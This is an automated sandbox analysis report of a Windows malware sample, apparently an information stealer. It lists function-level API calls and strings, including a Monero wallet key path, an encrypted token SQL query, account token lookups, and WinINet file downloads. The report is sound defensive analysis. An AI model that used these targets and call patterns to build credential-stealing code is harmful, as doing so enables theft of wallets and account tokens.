Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 350b53426504b7eeeeec30be3c1847e354406d85ea46a12a24b8608e811c0e5b
Instruction ID: d7abd32e7ab271cc3d9dad65003c5359cc9ee4f541a7a9a1a3de7a7b2619d55c
Opcode Fuzzy Hash: 350b53426504b7eeeeec30be3c1847e354406d85ea46a12a24b8608e811c0e5b
Instruction Fuzzy Hash: 88417EF1904248ABDB20DBA4DC85BEEBBB8EF08700F140199F50967280DB75AA44DFB5

Function 00D38100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0184E8F0,00000000,?,00D40E2C,00000000,?,00000000), ref: 00D38130
RtlAllocateHeap.NTDLL(00000000), ref: 00D38137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00D38158
__aulldiv.LIBCMT ref: 00D38172
__aulldiv.LIBCMT ref: 00D38180
wsprintfA.USER32 ref: 00D381AC

Strings

@, xrefs: 00D3814D
%d MB, xrefs: 00D381A3

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: ecf91b1a01bf06dbf1e6215f3641081d0b832b71912717e35eeaaa21060ce03b
Instruction ID: e84abbbe1cae653853ae0994aebde15e55c07bd1c6963b37a0ded440081223f0
Opcode Fuzzy Hash: ecf91b1a01bf06dbf1e6215f3641081d0b832b71912717e35eeaaa21060ce03b
Instruction Fuzzy Hash: 812127B1E44308ABDB00DFD4DC49FAEB7B8EB44B00F104209F615BB280C7B8A9018BB5

Function 00D260A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Part of subcall function 00D247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D24839
Part of subcall function 00D247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D24849

InternetOpenA.WININET(00D40DF7,00000001,00000000,00000000,00000000), ref: 00D2610F
StrCmpCA.SHLWAPI(?,0184F108), ref: 00D26147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00D2618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00D261B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00D261DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00D2620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00D26249
InternetCloseHandle.WININET(?), ref: 00D26253
InternetCloseHandle.WININET(00000000), ref: 00D26260

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: b6676477463c8e9a8be2a5388605bf606eed650e064c1520d0ec3c2d19f10756
Instruction ID: abdb16855169f1d1eb0d4b5a6c43d4adf8d181f32cd049349ce0e4d1ce8d61c2
Opcode Fuzzy Hash: b6676477463c8e9a8be2a5388605bf606eed650e064c1520d0ec3c2d19f10756
Instruction Fuzzy Hash: 63513FB1A00318ABDB20DF54DC45BEE77B8EF54705F108098F605A7181DBB4AA85DFB5

Function 00D2BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

lstrlen.KERNEL32(00000000), ref: 00D2BC9F

Part of subcall function 00D38E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D38E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00D2BCCD
lstrlen.KERNEL32(00000000), ref: 00D2BDA5
lstrlen.KERNEL32(00000000), ref: 00D2BDB9

Strings

AccountTokens, xrefs: 00D2BABA
AccountTokens, xrefs: 00D2BB49
AccountId, xrefs: 00D2BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 00D2BBEB

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 2d74130e279235a1ed96551904355c1e5c44b24f5b1ba203f5927930e34912d8
Instruction ID: d586c3b8180c5078c8e0eb0334791a093a68f2722d8752efde2b3301f262d528
Opcode Fuzzy Hash: 2d74130e279235a1ed96551904355c1e5c44b24f5b1ba203f5927930e34912d8
Instruction Fuzzy Hash: 55B13D72A10118ABDB04FBA4DD96EEE7338EF54300F444169F546B6091EF746A49CFB2

Function 6C66C930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Strings

a.8/, xrefs: 6C66C939

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID: a.8/
API String ID: 4191843772-2801666753
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 00D24FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D24FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00D24FD1
InternetOpenA.WININET(00D40DDF,00000000,00000000,00000000,00000000), ref: 00D24FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00D25011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00D25041
InternetCloseHandle.WININET(?), ref: 00D250B9
InternetCloseHandle.WININET(?), ref: 00D250C6

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 532b6f670f54719a3fd13b4393d26e960f35337c37c2fbc1161410f0a5d06175
Instruction ID: 99f19718c4c2ffe36a1d96fde3e5ae70e8e9f4b6e6d284637a06194d7733bad1
Opcode Fuzzy Hash: 532b6f670f54719a3fd13b4393d26e960f35337c37c2fbc1161410f0a5d06175
Instruction Fuzzy Hash: 1031E6B4A0021CABDB20CF54DD85BDDB7B4EB48704F1081D9EA09B7281D7B06A859FA9

Function 00D383DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00D38426
wsprintfA.USER32 ref: 00D38459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00D3847B
RegCloseKey.ADVAPI32(00000000), ref: 00D3848C
RegCloseKey.ADVAPI32(00000000), ref: 00D38499

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

RegQueryValueExA.KERNEL32(00000000,0184E7A0,00000000,000F003F,?,00000400), ref: 00D384EC
lstrlen.KERNEL32(?), ref: 00D38501
RegQueryValueExA.KERNEL32(00000000,0184E890,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00D40B34), ref: 00D38599
RegCloseKey.KERNEL32(00000000), ref: 00D38608
RegCloseKey.ADVAPI32(00000000), ref: 00D3861A

Strings

%s\%s, xrefs: 00D3844D

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 4fe462255cb24b2727793db13fc6dfa4a22941f8bcdd0f5dd57225a8625ea447
Instruction ID: 23d8e7417790f4c20ce4f1daf5b415eb250edb1c751222148f6f6ed7a771adf7
Opcode Fuzzy Hash: 4fe462255cb24b2727793db13fc6dfa4a22941f8bcdd0f5dd57225a8625ea447
Instruction Fuzzy Hash: 6321EAB191021CABDB24DB54DC85FE9B7B8FB48700F04C598E649A6140DF71AA85DFE4

Function 00D37690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D376A4
RtlAllocateHeap.NTDLL(00000000), ref: 00D376AB
RegOpenKeyExA.KERNEL32(80000002,0183CD08,00000000,00020119,00000000), ref: 00D376DD
RegQueryValueExA.KERNEL32(00000000,0184E848,00000000,00000000,?,000000FF), ref: 00D376FE
RegCloseKey.ADVAPI32(00000000), ref: 00D37708

Strings

Windows 11, xrefs: 00D376BD

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: d77951448511aaa478aa0ac345d49952ea57e84040c01db16756f6799e518b66
Instruction ID: 4fe0b41d2dfc4d79b91e499cc92567148d02233a901d46c292ccb80484d7e7e5
Opcode Fuzzy Hash: d77951448511aaa478aa0ac345d49952ea57e84040c01db16756f6799e518b66
Instruction Fuzzy Hash: D20162F5A0420CBBD710DBE4DD4AF6DB7B8EB48701F104054FA15E7291E6B09900DF61

Function 00D37720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D37734
RtlAllocateHeap.NTDLL(00000000), ref: 00D3773B
RegOpenKeyExA.KERNEL32(80000002,0183CD08,00000000,00020119,00D376B9), ref: 00D3775B
RegQueryValueExA.KERNEL32(00D376B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00D3777A
RegCloseKey.ADVAPI32(00D376B9), ref: 00D37784

Strings

CurrentBuildNumber, xrefs: 00D37771

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
